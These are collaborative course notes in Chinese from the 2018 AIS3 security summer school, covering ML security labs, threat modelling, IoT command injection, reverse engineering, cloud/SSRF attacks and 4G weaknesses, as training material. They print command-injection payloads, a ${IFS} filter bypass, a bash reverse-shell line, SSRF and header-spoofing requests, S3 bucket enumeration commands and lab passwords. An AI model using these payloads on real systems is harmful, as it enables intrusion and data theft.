AIS3 2018 中區共筆 官方網站 : https://ais3.org/
共同聊天室 : https://tlk.io/ais3-2018
中區聊天室 : https://tlk.io/ais3-taichung
北區共筆 : https://bit.ly/2uZ1zVg
南區共筆 : https://bit.ly/2mPQkdj
7/30 (一) 14:00 - 17:00
Random stack
Random heap
Radnom libraries
7/31 (二) 09:30 - 12:30
講師 : 陳仲寬 交通大學 BambooFox
AI Security / Machine learning for security
使用 docker Docker 安裝
curl -sSL https://get.docker.com/ | sudo sh
Docker image load
sudo docker load < mlsec_ais3.tar
sudo docker run -p 8888:8888 -it mlsec:ais3 bash
or 從 dockerhub pull 下來
sudo docker pull bletchley/mlsec:ais3
sudo docker run -p 8888:8888 -it bletchley/mlsec:ais3 bash
進到 docker 之後輸入
jupyter notebook --allow-root
帶有 token 的網址丟進瀏覽器,網址的部分要修改一下
將 http://(<container_id> or 127.0.0.1):8888
=> http://127.0.0.1:8888
基本介紹
Cross-validation
資料不足時使用
輪流作為 test 、 train 的資料,如此便可讓所有的資料都被 test 過
False positive/false negative
為相互對應的值
根據應用選擇何者為重
eg. 一般使用者:false positive 容忍性較低
eg. 銀行等高安全性單位:false negative 容忍性較低
classification
透過圖形檢視分類效果
對角線上為準確的
兩邊的為不準的值
ROC
最完美的狀況:一開始 true positives 就貼近左上角 100% 處
AUC:曲線以下的面積
Lab 0-1 Payment Fraud 在 mlsec/frauddetect/logistic-regression-fraud-detection.ipynb
One-Hot Encoding:
特徵展開處理類別型資料(Eg: paymentMethod)
透過 panda 的 dummies 將類別型資料轉為 one-hot
panda.get_dummies(<your data>, columns = [<culomn name>])
TrainSet & TestSet:
train_test_split(features data frame, label data frame, test_size=<test_size>, random_state=17)
Drop:
將 data 的 label 欄位拿掉,避免直接看到答案
LogisticRegression(邏輯回歸)
透過邏輯回歸來去訓練一模型, 用以評估正確/錯誤交易的機率。
提高準確率的方法:改變 random_state 參數
或者是改 test_size 假裝自己很棒ㄛXDDD
df = pd.get_dummies(df, columns = ['paymentMethod'])
df.sample(3)
X_train, X_test, y_train, y_test = train_test_split(
df.drop('label', axis=1), df['label'],
test_size=0.33, random_state=17)
clf = LogisticRegression().fit(X_train, y_train)
y_pred = clf.predict(X_test)
Lab 0-2 Parima-forecasting 在 mlsec/cpu_anomaly/arima-forecasting.ipynb
Anomaly Detection
偵測異常點
Anomaly -> 長的特別不一樣
偏移資料點的品質 -> Good or not ?
一直是一個不容易解決的問題
Eg. 新的網站存取行為 or 釣魚網站的存取
ARIMA
Problems in ML
Overfitting(過擬合)
model學習的效果太好(類似model把training data背起來了),導致學出來的成果離現實有段差距。
training 時訓練太多資料,model 非常逼近 training data,用 traingin data 來測會非常準,但用 testing data 來測就會失準(很多)
過分學習
解決方法:不改變訓練方法的狀態下:減少 training data 數量
解決方法:從資料前處理下手或是進行特徵工程,讓model學到該學的
資料前處理:drop掉離峰值(特例)、做one hot endcoding
Underfitting(乏擬合)
train出來的model, 並沒有辦法適應資料, 有可能是訓練的特徵, 資料不足.
如果是類神經網路的話,可以回頭檢查model有沒有錯、更改model的架構
Solution:
特徵工程分析出更多特徵來做訓練
找到更多的資料
調整選擇的演算法
符號理論學派 inverse deduction Association rules & frequent item:
Apriori principle
剪枝概念
Found to be Infrequent
Decision Tree(決策樹) Entropy(熵度)
low entropy:判斷資料分類好的程度
Information gain:reduction entropy
Lab 1-2 Malware Classification 在 mlsec/malware/malware-classification.ipynb
Decision Tree or other algorithm
Feature select
選擇高相關度(Eg. File Alignment)
從資料分佈來選擇差異高的並擷取特徵
Remove noise
沒有相關的特徵, 請直接去掉, 別忘了正確答案也要拿掉
ExtraTreesClassifier
建樹(森林)
有選擇特徵的功能
選擇出來的feature還是要過人工審過一次, 以免有useless的feature
Others
RandomForest
from sklearn.ensemble import RandomForestClassifier
RandomForestClassifier < – API Doc
上面太長不想調校就看這個 -> RandomForestClassifier(n_estimators=50)
GradientBoosting
from sklearn.ensemble import GradientBoostingClassifier
GradientBoosting < – API Doc
GradientBoosting(n_estimators=50)
AdaBoost
同上二, 自行Google
AdaBoostClassifier(n_estimators=50)
GNB
Lab 2-1 Linear Regression 讓error越低越好(error:點與線的距離)
KNN supervised learning(監督式學習) 看最接近的鄰居,判斷同為該類
K-MEANS unsupervised learning 一開始隨機找中點, 接著每次Iterate找上代的中點繼續運算。
切割線沒有變動的時候, 即代表分群結束
SVM 具有緩衝空間的回歸法:線與旁邊的點有越大的緩衝空間越好
Bayes Theorem(貝氏) 用經驗(事前機率vs事後機率)來做切割
P(H|D) = (P(D|H) / P(D) ) * P(H)
找出 malware signature
Lab 6-1 XSS Detection
WAF: adversarial learn(攻擊學習的系統)
透過model的訓練結果, 來去針對XSS注入安全的dummies來降低預測為惡意注入的機率。
如果有Feedback把prediect結果送回train model, 就有可能透過這種方式汙染model的正確性。
Email : ckchen@cs.nctu.edu.tw
7/31 (二) 14:00 - 17:00 SPOF(單點失效) Command Injection
使用者透過各種管道注入執行系統指令(Eg. PHP Injection, SQL Injection ..etc)
Unit Test
CppUnitLite
集中src/ .cpp & CppUnitLite/ .h 到一個資料夾
DevCpp -> 開啟專案 -> Static Library -> 專案資料夾右鍵加入檔案 -> 編譯(F11)為.a檔
V1 ~ V4 需要進入專案設置設定Linker路徑到.a檔案
並且將剛才的放置所有cpp以及h之資料夾複製於專案資料夾,
最後 #include "CppUnitLite/TestHarness.h"
這超麻煩= = …
Test該怎麼寫 請參考CppUnitLite/test資料夾內的檔案
main懶人包
複製下面的main去取代待測試專案的int main,
請記得原本的main用註解的, 別大手一揮就砍掉..
int main() {
TestResult tr;
TestRegistry::runAllTests(tr);
return 0;
// 這段我打到會背...
}
TEST懶人包
TEST(Math, creation) { // 這個Math, creation的參數我不知道是什麼...
// 各種TEST...
}
Eg.
TEST(Math,creation){
string test = playMath("555+5*7");
LONGS_EQUAL(590,atoi(test.c_str()));
}
那是 macro,兩個參數和 macro 展開時為函式的命名有關係
辛苦各位搬運工了 …
V2 password:Fqv$M;K[8&@-2Hm~
開檔案記得去專案設定把Linker指定到對的地方 or 刪掉才可以正常動作喔 …
V3 password:ZtA6t735ZH:D7S?r
V4 password:eDpYJbD},"*74?"W
HeartBeat(心跳訊號) 透過C/S之間定期回傳約定訊息來確認彼此狀態。
Threat modeling
設計階段檢測出可能的問題(Eg.Interface)並且嘗試解決
threat sources/agents human or non-human
4 step process
Application architecture modeling
Threat Identification
Risk analysis
Documentation of findings
Attack Surface Evaluation
Targets adn Enablers
從processes and data去評估,以此為依據..
Channels and Protocols
… 來做外部的傳輸介面
Eg. 開port / USB等
Message-passing channels & shared-memory channels
Access Rights
Example e.g. 資料備份有距離限制
連出來外面的傳輸要記錄下來,提交給資安人員做測試
Threat Identification
Identify major security threats to the system's assets
Data flows
Trust boundaries(保護範圍)
entry and exit points(資料進出的地方)
privileged functionality
Methodologies
NSA IAM, OCTAVE risk modeling, Microsoft STRIDE
STRIDE
Spoofing
Tampering
Repudiation
Information Disclosure
DEnial of Service
Elevation of Privilege
OWASP Top 10 and CWE Top 25
ABUSE CASE 系統有了,但有沒有可能被濫用?
透過情境的模擬來去了解到可能的侵入點, 並且逐一釐清是否可能讓外部威脅攻擊
Attack Tree 假設自己是駭客,規劃入侵路徑
Attacker's objective in the root node(目標):看看攻擊要花多少成本(Cost)
Attack vector in the root node:以攻擊手法作為目標來去展開可能的節點,協助評估系統可能會有問題的方法。
Risk analysis 由兩面相來看:發生的機率、造成的威脅
DREAD 安全風險評鑑模型 =風險Risk = (可重制性+可刺探性+可發現性)x(可能傷害+影響人數)
Damage potential
Reproductibility
Exploitability
Affected users
Discoverability
Threat List
NSA IAM methodology
OCTAVE risk modeling
Microsoft STRIDE
OWASP Top 10
CWE Top 25
Handling Risk
Ignore the risk
Avoid the risk
Mitigate the risk(減緩)
Accept the risk
Transfer the risk(風險轉移 例:買保險)
Document 作為後續分析的依據,分為靜態、動態兩種
Code Analysis - Static https://www.grammatech.com/products/source-code-analysis
compiler就算是靜態分析
動態分析:放進記憶體run起來,看看有沒有可疑行為
Code Analysis - Dynamic https://www.slideshare.net/securityxploded/automating-malware-analysis
Sandbox Architecture
透過VM去分析可能的活動有哪些
Eg. Virus total
自動化安全檢測練習
安裝Cppcheck
檢測案原始碼
解決專案源碼發現的問題
千錯萬錯 絕對不是老闆的錯
8/01 (三) 09:30 - 12:30 IOT Overview Local Proxy
local Proxy 可以在本地端傳出封包之前 先攔截 修改封包再做傳輸
Eg. Burp Suite
APP在用proxy時,會主動檢查憑證,要特別注意,匯入憑證
Command Injection Payload
;command
&&command
$(command)
`command`
將command的結果作為command再次執行
實務上最常成功(被忽略)
|| command
Eg. ping 127.0.0.1 || ls < – 前指令失敗才會執行後指令
自己的 DVWA 自己 pull
docker pull vulnerables/web-dvwa
成功command injection之後, 最重要的當然就是開shell(自己用XDDDDDDD)
bash -i >& /dev/tcp/<ip>/<port> 0>&1
how to get shell pentestmonkey
From Injection to shell
發現弱點:注入點、簡易式指令
思路:哪些功能在開發時,會用到system function開發
測試時,哪些指令可以最容易看到效果(有沒有執行)
繞過限制:防火牆阻擋、字串過濾或檢查
清掉Firewall Rule
Clear Inbound Rules
Clear Outbound Rules
系統 保留字 ${IFS}(代表空格鍵)
No bash, only ash
寫入 /tmp
因為某些folder可能不能寫入(Read Only)
取得控制介面:Listen, Revese
使用Telnet/SSH/NetCat(nc)
製作新的 shell
確認 CPU 架構
Metasploit快速上手
把payload變成可執行檔,可設定arch, OS, version等參數
msfvenom
玩弄音箱的時間囉~
Local Proxy record Payload and interact to check command injection.
clear firewall rule & prepare backdoor file
get shell
Play fun.
Case Study - Network DVD Player
Two USB adpater, allow user to copy data from one USB to another.
Copy may called system funtion, which may cause command injection.
In this case, use file name to implement command injection.
Eg. aaa;reboot
Restriction: Can't cut the file name.
No whitespace
No slash / backslash
No double quotes
ping${IFS}<ip>
繞過空白的限制
${IFS} = Interfnal field separator < – - coool !!!
講師說錯了,IFS 是 bash 的東東,不是 Linux 的,所以用 zsh 就不行
IFS 環境變數定義 \t\n\0
他可以自己改
我的bash可以執行,zsh不行,但都是' \t\n'
簡單來說可以使用 echo ${IFS} | xxd
看 IFS 環境變數到底是啥
後面一段改密碼的有人聽到嗎?
我只聽到把東西蓋過去 然後移除掉原本的密碼???..
求專業搬運QQQQ
好像是寫一個新的帳密的檔案 然後用那個檔案直接蓋掉原本的
Case Study - MOXA 串列設備連網伺服器
DSU+Wireshark
透過簡單的封包分析來去觀察payload的格式 < – 腦洞要開 …
然後就可以掃opcode的response囉~
Shodan 找網路上的IOT
How to find the vulnerability Firmware
找寶物:
Config: passwd, booting service
Binary: executable flie, decrypto program
Files:加密檔案
工具:
binwalk 解析檔案內容結構, -Me 參數還可以幫你解出來 …
記得裝個Squashfs的套件, 會更好用..
常見的有 Squashfs, LZMA
squashfs-tools
linux command dd
dd 指令參數:if(input file), of(out file), bs, count(how many bits), skip(skip bits)
extract firmware(easy way)
install git g++ zlib1g-dev liblzma-dev python-magic
git clone https://code.google.com/p/firmware-mod-kit
binwalk -Me <firmware-filename>
Mi Wifi firmware Flash Analysis Flash memory
UART or 拆焊 電視 ..把 flash 讀出來
Binary Analysis
QEMU 在Ubuntu
將IOT的firmware模擬在ubuntu上
確認entry port(Eg. 8686)
開port for IDA pro(Eg.6666)
sudo chroot . ./qemu-mipsel -g <port> bin/udps
IDA pro 在Windows
python
**Install QEMU user-mode**
sudo apt-get install libglib2.0-dev libpixman-1-dev
cd qemu; mkdir build; cd build
./configure --static --enable-debug --target-list=arm-linux-user,armeb-linux-user,mips-linux-user,mips64-linux-user,mips64el-linux-user,mipsel-linux-user
make && sudo make install
A
**Run binary in QEMU**
sudo apt-get install p7zip-full
7z x 3E7000.tar
cp ~/qemu/build/mipsel-linux-user/qemu-mipsel
chmod +x bin/udps
sudo chroot . ./qemu-mipsel -g <port> bin/udps
8/01 (三) 14:00 - 17:00
講師 : Asuka Nakajima NTT
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Topic
Malware Analysis
Vulnerability Analysis
CTF
enhance assembly reading skills
read x86 assembly code
ultimate goal human decompiler
x86 Assembly Basics
Instruction(op) operand
mov ecx, 0xA
push 0x0
pop eax
push and pop is stack operation.
Register: memory that built in x86 cpu
gerneral purpose register: eax,ecx,edx,esi,edi,esp,ebp
segment register: ss,cs,ds,es,fs,gs
EFLAGS
EIP
SSE,MMX,FPU,debug
Function Call (Calling convention (cdecl))
push 0x3
push 0x2
push 0x1
call function
add esp, 0xc
====================
gcc compiler example:
mov DWORD PTR[esp+0x8],0x3
mov DWORD PTR[esp+0x4],0x2
mov DWORD PTR[esp],0x1
call function
Arguments pushed in right-to-left order
Caller cleans the stack
gcc compiler:
use MOV to implement PUSH
Function Call ( call conventions )
stdcall
Win32API
callee cleans the stack(msvc)
thiscall
this pointer passed in ecx as parameter
callee cleans the stack(msvc)
caller cleans the stack(gcc)
fastcall
first two argument to eax and edx(msvc)
callee cleans the stack(msvc)
Stack Frame
int main ( ) {
add ( 1 , 2 ) ;
return 0 ;
}
void add ( int n1, int n2) {
int sum;
sum = n1 + n2;
}
Stack frame of caller function
push arguments onto stack(in right-to-left order)
push return address onto stack
Stack frame of callee function
push previous stack frame base pointer (aka. ebp) onto stack
overwrite ebp with new stack base pointer
Instructions(常用函數表)
mov 將資料從一個地方搬移至另一個地方
push 將資料存到stack的頂端
pop 取出stack上頂端的資料
call 調用函數
cmp 比較傳入的兩筆資料,並將比較後的結果存入 EFLAGS register中
jmp(je,jne,jl,jb,jg … ) 依靠在 EFLAGS register 中的特定 bit 來決定是否進行跳躍
ret 返回至call funtion
leave
Same as move esp, ebp
-> pop ebp
add
sub
練習 搬家來這裡
因為太當,所以暫時先放在這裡囉
瞬間從 40k+ 字掉到 17k …
XDDDDD
Cpp binary
C++ 能達成 overloading 的方法
不過這命名規則也太不一致了囧
到底是想搞誰
到頭來搞到的是 debugger 吧 XD
看一堆小老鼠 我眼睛都快要atat了 …
抬頭看看 就可以恢復了
loooooooooooooool 太實用的建議
我終於知道為啥要請他講這個主題了
高瞻遠矚
直接把最提神和最乏味的東西擺一起 XDD
而且說英文超可i
我問號XDDD這對話OK嗎
母湯
快睡著了QAQ
AJAX? DJANGO?
fetch
不過我是覺得這蠻好玩的 看各種底層黑魔法
看妹子 施展黑魔法 ?
照他的簡報 我還可以多看半小時
日系簡報
拜託講完
好快就五點了
超紮實的課程
又超時了
Decompile了快3個小時 …
超時不錯啊
等等可以排隊留影嗎
你會講日文嗎?
MeowMeow也太可愛 …
我終於知道為什麼北區第一天就一直在群組喵喵叫了
開meow了各位
wwww 一起去群裡喵喵叫吧 (?
好 meowmoew
kitty !!!
OOP
開始上起OOP了.. low level oop.
教你如何反編譯OOP OP
開始各種 this 和 vtable
糟糕 進去沒聽過的新世界了XD
當你看過有人用純 C 實做的 OOP 之後很容易就懂了 (?
meow
不行了 腦漿蒸發 …
別想問能不能拍照 你們這些 …
我已經拍過了 ^.<
可惡你適不適那個剛剛站起來的女生
低調rrrr
^^^^ 請直接貼上來ㄅ ㄏ
我覺得大家還要花點時間消化吧 XDD
can you take a picture with me?
樓上會被抓走吧
是說五十幾行的聊天室怎樣ww
老師計劃通 …
不好嗎 不平衡一下小心等等大家都變成用組語溝通了 (?
大家應該都累了
nakajima.asuka@lab.ntt.co.jp
8/02 (四) 09:30 - 12:30
講師 : 王凱慶 中華電信/中華資安國際
網站應用程式安全
講師ㄉ部落格
傳統環境VS雲端環境
傳統環境
雲端環境
變化性低
高度變化
最低需求服務
數不清的服務
傳統環境下的安全評估
Nmap
IP Range explore
Seeking online host
port
server
package version
nmap -T4 -A -Pn -sT
弱點掃描 Tool
雲端環境下的安全評估
其他可考慮的議題
浮動IP Range
Service是否暴露在public環境中
系統弱點是如何被patch的
入侵系統後還能夠做些什麼?
網路架構是怎麼一回事
應用架構特性差異
雲端環境差異
工作項目
傳統環境
雲端環境
部署網站
上傳 code
上傳code
檔案存儲
FTP/ WebDAV
S3
架設服務
自己裝
Iaas/Paas/SaaS
網路系統
IT人員維護
雲端管理
資料蒐集 資料蒐集做的好, 滲透測試沒煩惱
考驗你各位的通靈能力還有工具使用>
任何行為前, 請確保有授權
請進行系統備份與還原測試
不要再正式環境下使用 auto function
不小心撿到寶, 請記得回報相關廠商
Eg. Hitcon ZeroDay
也可以傳一份給講師
順手通報救台灣, 對, 就是在說你各位!
還有一件事
或許你聽過 DDoS,但你有有聽過 EDoS 嗎
Economical denial of service
經濟式服務拒絕攻擊
在測試環境榨乾講師錢包
IP 列舉
網域列舉
網域劫持
使用第三方服務(SaaS), 使用 CNAME 綁定自家網域
請問一下,這樣網頁憑證顯示是 saas.com 還是 ais3.org ?
ais3.org 喔
停用服務後 忘記移除DNS指向紀錄 但目標服務已經移除
CDN
<?php
if (!empty ($_SERVER ['HTTP_CLIENT_IP' ])) {
$ip = $_SERVER ['HTTP_CLIENT_IP' ]
} else if (!empty ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) {
$ip = $_SERVER ['HTTP_X_FORWARDED_FOR' ]
} else {
$ip = $_SERVER ['REMOTE_ADDR' ];
}
echo $ip ;
?>
➜ cat /etc/hosts
52.194.38.175 realme.0x61697333.cf
➜ curl -H "CF-Connecting-IP: 127.0.0.1" http://realme.0x61697333.cf/
➜ curl -H "CF-Connecting-IP: 127.0.0.1" -H "Host: realme.0x61697333.cf" 52.194.38.175 #這也通
<html>
<body>
<div>你來自 127.0.0.1</div>
<div>只有來自 127.0.0.1 的人才能獲得 Flag</div>
<pre>FLAG{You know me now}</pre></body>
</html>
Cloud Storage Service
資料儲存服務
透過 API 進行操作
雲端環境中的角色
ex. S3
常見問題
S3
尋找公開的儲存空間
外洩事件
列舉S3 Bucket
如何產生字典擋
BucketName 具唯一性
Format
範例
地區列表
自訂網域
對應方法
[域名].[地區].amazonaws.com
Header是你的好朋友
懶人法
AWSBucketDump
python AWSBucketDump.py -l <dic> -g <keyword> -D -m <size> -t <thread count>
t 建議 >= 2
全自動列舉公開的 AWS S3
自動下載有趣的檔案 全自動硬碟填充
quirks
-l
字典檔 (Host list)
-g
關鍵字檔案
-t
執行緒數 要帶 >= 2 不然會爛掉
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Load balancer
負載平衡
動態增減服務主機
安全風險
佈署源汙染
基礎系統映像檔被汙染
Eg. Git auto deploy
只要可以拿到 git push 的帳號/權限 你就可以把 repo 變成你的形狀
探索服務汙染
Consul
對管理主機謊報將自己加入後端主機群
Eg. 釣魚網站 然後謊報 接著等魚上鉤 願者上鉤 蚌
經濟攻擊
灌流量讓你拼命開主機,接著讓你賬單爆炸
設定拓展上限 & 收斂時間 不然就等著帳單爆炸
VPC
後面的主機
來源疑慮(AMI市場)
Image 本身就有問題, deploy 就掰掰了
AMI Market
什麼都有 什麼都賣 什麼都不奇怪
買了就被加料
AMI 封裝方式
OS 主系統是(可能)加密過無法被存取的
Storage
網路管控
使用 Security Group
不開 Port 沒事, 開了 Group 裡的主機都一起裸奔
Cloudmapper 可以畫出 AWS 上面的拓樸圖
SSRF(服務請求偽造)
What is this?
Why occur?
Eg. Our greatest FACEBOOK
Attack Side
借刀殺人
Inner port scan
Inner server attack(Struct2, Redis, ElaticSearch … )
讀取本機檔案
服務架構識別
Where?
有網路的地方 … (能夠發起網路請求的地方,尤其雲端服務裡)
呼叫其他服務
Remote resource request(Download, Cache)
服務內建功能(Oracle, MSSQL, CouchDB)
文件處理 ( ffmpeg, ImageMagick, Doc, Xlsx, Pdf, XML(XXE 漏洞))
其他漏洞利用(Command Injection, SQLi, XSS, SSTI)
Magic Server
Splash: Javascript Render Service
Crawler 會用到的工具
GET/POST 修改 Header
運行方法
docker run -p 8050:8050 -p 5023:5023 scrapinghub/splash
Key下去 全世界都可以玩你的Splash喔 …
可利用協議
Http/Https
Gopher
File
Dict(很少遇到)
可利用服務
ElasticSearch < – 使用者資料寶庫 Eg.Uber
CouchDB
Redis
練習
http://ssrf01.0x61697333.cf (1 flag)
file:///etc/nginx/sites-enabled/default
我還以為site-enable裏面會藏超多東西欸 …
是說完全忘了 php 原始碼跑到瀏覽器會被自動處理成 comment …
內建: ElasticSearch(1 flag)
Ubuntu 14.04 + Nginx(default path)
保護繞過
Email: hi@kaiching.wang
請寄釣魚/病毒信件
以換取更凶猛的病毒和釣魚信件
抬槓區
自從 fail2ban 把自己鎖住後以後都乖乖用金鑰登入,以免手殘
地圖砲 money wife girlfriend …
dump 興奮
需要最強的DDOS保護請洽ISP
8/02 (四) 14:00 - 17:00
講師 : 鄭朱弘毅 / 陳偉雄 趨勢科技
先進資安防護技術 & 實例:AI/IOT
基礎資安教育訓練:網頁 & IOT (TMSAT)
IOT資安難處
設備商眾多
新裝置難以辨識
應用環境複雜
出廠後無法安裝資安軟體
缺乏更新
傳輸加密
裝置間通訊規格未規範資安
相容性問題
機敏資料的使用
IoT 為何是好靶
24/7 線上待命
弱點多
因為現在開發週期短導致難以有完整的開發及安全性稽核
廉價
缺乏管理
car hack
wireless/wired CANbus connect
MITM
weak or no auth on API that can control cat=rs
Mirai DDoS evolvs
old one
iot troop
mix two together
vulns on IoT
code 沒寫好
第三方的 code 沒寫好
沒加密的協定
沒寫好的 app/cloud
沒有或不安全的更新機制
曝露不安全的 port
debug purpose (x) laziness (o)
不正常的系統變更
沒有或不足夠的身分認證
認證資料沒加密/或弱加密
IoT攻擊步驟 8/03 (五) 09:30 - 12:30
講師 : 王歆綺 資策會
遠端注入與無檔案式攻擊技術
VM內的皆為真實案例
所以請不要在自己的機器上開
[0.Start]Flareon Goal: get the right password
找斷點 歐莉底霸個(Ollydbg) F9 跳到程式預設斷點
cmp test
Tools
用來逆向
Far manager
Hiew
虛擬機
[0.Start]
Folder: SAMPLE/0.Start/
Flareon
Goal: get right password
比較
Ollydbg介紹
左下方是記憶體
右下方是stack(有push、pop)
右上方是暫存器的內容
左上方是OP code
解出答案(看到登入成功的畫面)、不是換掉答案
是說不知道有沒有人無聊去看旁邊的 crap1 XDD
rtf
如果爆炸了跟不上.. 就放下手上的東西 開始收東西 …
基本上看到一長串的 hex 或是 \x escape 就先解看看吧
是說照慣例的 crap9
xxd -ps -r <filename>
log_analysis
Goal: 找受害IP及中繼站
cut -f <field number> -d <split char>
sort -rn
Reverse sort(降冪)
找奇怪存取次數的URL
應該很常存取的domain卻很少存取的
看起來很奇怪的名字的
找到URL之後, 去反搜存取過的IP
有需要的時候也可以用 grep -v "可疑 IP" 去翻翻看有沒有漏網的
Powershell_MSFVENoM
Goal1: decode the payload
Goal2: find the backdoor IP and port
看個powershell的payload
Unicode2ASCII
編出來還是看不懂, 何不試試file呢?
zcat
中場休息
你以為結束了嗎?
不, 你還要分析 …
看到 push pop hex 就要知道是傳參數、call functin、load library,library 可以去查 Windodws 官方 API hex value
IDA打不開嗎? .idb砍掉就對了 …
OllyDbg
F7 step into
F8 step into
關於那個戳 winapi 的手法
w32.connect/w32.bind
sockid
sockaddr* addr
namelen
sockaddr
typedef struct sockaddr {
u_short sa_family;
ADDRESS_FAMILY sa_family;
CHAR sa_data[ 14 ] ;
} SOCKADDR, * PSOCKADDR, * LPSOCKADDR;
8/03 (五) 14:00 - 17:00
講師 : 李奇育 交通大學資工系
4G
Outline(?)
3G/4G基本架構和方式
安全機制
找漏洞
計費功能
4G高音質通話 (VolTE)
4G簡訊系統
知道攻擊才能解決弱點
大綱
行動網路系統與單全簡介
4G高音質通話潛在安全威脅
實作3ㄍ
資料流認證
VoLTE漏洞檢測
開發具有原生碼(Native Code)的Andriod手機APP測試工具
課題一
行動網路
與網際網路同等規模的最大網路架構
廣泛覆蓋範圍和無處不在的連線
203ㄍ國家
大綱 行動網路系統跟安全大綱
系統的演化
1G. AMPS NMT TACS
2G. GSM.GPRS EDGE cdmaOne
3G. WDCDMA
4G.LTE
行動網路的主要標準 3GPP
依序發展和訂定2G GSM&3G UMTS&4G LTE
主要探討3GPP標準
目前全球的演化:3G -> 4G
4G LTE 行動寬頻的第一個全球標準
2G -> 3G ->4G
2G
3G
4G
- 電路交換
- 通話需端點之間資源的保留
- 資源:連結頻寬和交換機容量
- 專用的資源:不能分享
- 電路式的保證效能
- 需要通話資源的建立
- 電路機換信令
- 用於建立維持和拆除虛擬電路
- 用於2G和3G的通話服務
- 但不能使用於現今的Net
封包交換
裝置A和B的封包沒有固定傳輸模式
網際網路中的路由器採儲存和轉送(Store-and-forward)的方式
使用於網際網路
封包交換信令
網路曾不須通話資源的建立(end-to-end connections)
根據終點(Destination)位址轉送封包
4G/3G 行動網路架構
主要運作方式
兩個主要的運作層面 (planes)
資料或用戶層(Data/User plane): 資料的傳送
控制層(Control plane): 信令的傳送
控制層的主要3功能
無限資源的控制(RRC,Radio Resource Control)
移動控制(MM,Mobility Management)
連線控制(CM,Connection Management)
如何建立一個用於上網服務的4G網路連線?
目前4G網路的安全機制
總結
用戶認證
控制層 (Control plane) 安全機制
行動裝置和移動管理元件(MME)之間的NAS信令加密且完整保護
保護信令的傳送:移動更新、資源保留、連線建立等控制功能
行動裝置和基地台之間的AS信令加密且完整保護
用戶層 (User plane) 安全機制
行動裝置和基地台之間的資料加密
基地台和封包閘道器之間資料加密非必要,因封包傳送皆發生於封閉的行動網路中
但是,如此完善的行動網路安全機制仍然存在安全性弱點 !
課題二:計費功能(Charging)之潛在安全威脅
用戶資料流之認證(Authentication)與授權(Authorization)
用戶資料流之認證與授權
與資料流量之統計機制息息相關
若有安全性弱點而遭受攻擊,有可能使得
用戶的資料流量被惡意增加
攻擊者可以取得某些資料流量的免費使用
用戶資料流之認證與授權
認證 (Authentication)
每一資料流的費用應記在真正使用此資料流的用戶
但若認證發生問題,某資料流的費用有可能記在錯誤的用戶上
e.g., 用戶 A 用的資料流費用記在用戶 B 的帳上
授權 (Authorization)
行動網路所傳送的每一資料流都應是該資料流的用戶所授權的
但若授權發生問題,受害者用戶可能需要為他們未授權的資料流負擔費用
上網資料量收費方式
行動網路的資料流量統計方式
用戶認證及授權與行動網路的資料流量統計
以下兩個問題,答案有可能是否定的
每一承載連線(Bearer)一定只有此認證過的用戶可以使用嗎?
每一承載連線(Bearer)上的資料,一定是用戶所授權的嗎?
我們接下來介紹否定的答案在什麼狀況下會發生、可能遭受到的攻擊、以及原因
攻擊者所需的條件 (Threat Model)
不需接觸行動網路的所有設備和受害者的手機或在它們上面安裝惡意軟體
只需市面上販售的Android手機 (需有系統管理者權限)
用戶認證的安全性弱點與攻擊 – 正常狀態
用戶認證的安全性弱點與攻擊
攻擊的機制:行動網路核心網根據IP統計資料流量
假造IP (IP Spoofing) 攻擊
攻擊者利用受害者的IP製造上行資料流,可讓核心網認為是受害者所送的資料流
核心網因而將此假造IP的資料流統計於受害者的帳單中
我們曾發現美國的電信商AT&T有此安全漏洞
用戶認證的安全性弱點與攻擊 – 原因分析
從協定堆疊(Protocol Stack)的角度分析
用戶認證的安全性弱點與攻擊 – 解決方法
從協定堆疊(Protocol Stack)的角度分析
用戶資料流授權的安全性弱點與攻擊 – 正常狀態
用戶資料流授權的安全性弱點與攻擊
用戶資料流授權的安全性弱點與攻擊-2
用戶資料流授權的安全性弱點與攻擊-3
用戶資料流授權的安全性弱點與攻擊-4
用戶資料流授權的安全性弱點與攻擊-5
用戶資料流授權的安全性弱點與攻擊 – 原因分析
安全性弱點:對於下行的資料流無適當的授權機制
只要有上行的資料流穿越防火牆
防火牆就認定下行的資料流是合法
然而,上行資料流有可能被多種方法所惡意製造或利用
我們曾發現過美國電信商AT&T和T-Mobile有此安全漏洞
以及在中國、香港和日本的電信商皆有發現此漏洞
用戶資料流授權的安全性弱點與攻擊 – 解決方法
總結:用戶資料流之認證與授權機制
用戶資料流之認證
安全弱點:只根據IP統計資料流量
可能遭受之攻擊:假造IP (IP Spoofing) 攻擊
解決方法:跨層的安全綁定 (IP和Bearer)
用戶資料流之授權
安全弱點:對於下行的資料流無適當的授權機制
可能遭受之攻擊:經由MMS、Skype和IP spoofing等方法增加受害者的上網數據量
解決方法:取消資料流授權的機制
這些安全弱點起因於行動網路的演化:電路交換網路至封包交換IP網路
舊有的安全機制無法防護這些新的安全弱點
網際網路上的安全弱點皆有可能發生在行動IP網路中
學習到的經驗
當系統在演化過程中,任何重大的改變都有可造成安全的漏洞
舊有的安全機制無法防護新系統的安全漏洞
如:行動網路的認證AKA機制和行動上網資料流的安全
新技術本身可能帶來更多的安全威脅
如:3G/4G行動網路使用IP網路
以下原因皆有可能造成安全漏洞
技術設計上的問題 (3GPP標準)
執行上的缺陷 (設備和手機製造商)
運作上的錯誤 (電信商)
因此,在系統的演化過程中,所有可能的安全威脅應從各方面 (設計、執行、運作),根據新技術的使用重新檢視
課題三:4G行動網路簡訊系統(SMS)之潛在安全威脅
簡訊服務(SMS)仍然是非常流行的
幾乎所有的手機都支援SMS (Short Message Service)
各式各樣的產業和服務依賴在SMS上
三種SMS服務的運作方式
IMS-based SMS:四個可能的安全性問題
與傳統的CS-based SMS比較,以下特性可能造成安全性問題
基於軟體設計的SMS客戶端
彈性的協定設計
用戶層的溝通管道
多項的安全機制選擇
IMS-based SMS:基於軟體設計的SMS客戶端
IMS-based SMS:彈性的協定設計
IMS-based SMS:用戶層的溝通管道
IMS-based SMS:多項的安全機制選擇
IMS-based SMS的安全性弱點和可能遭受的攻擊
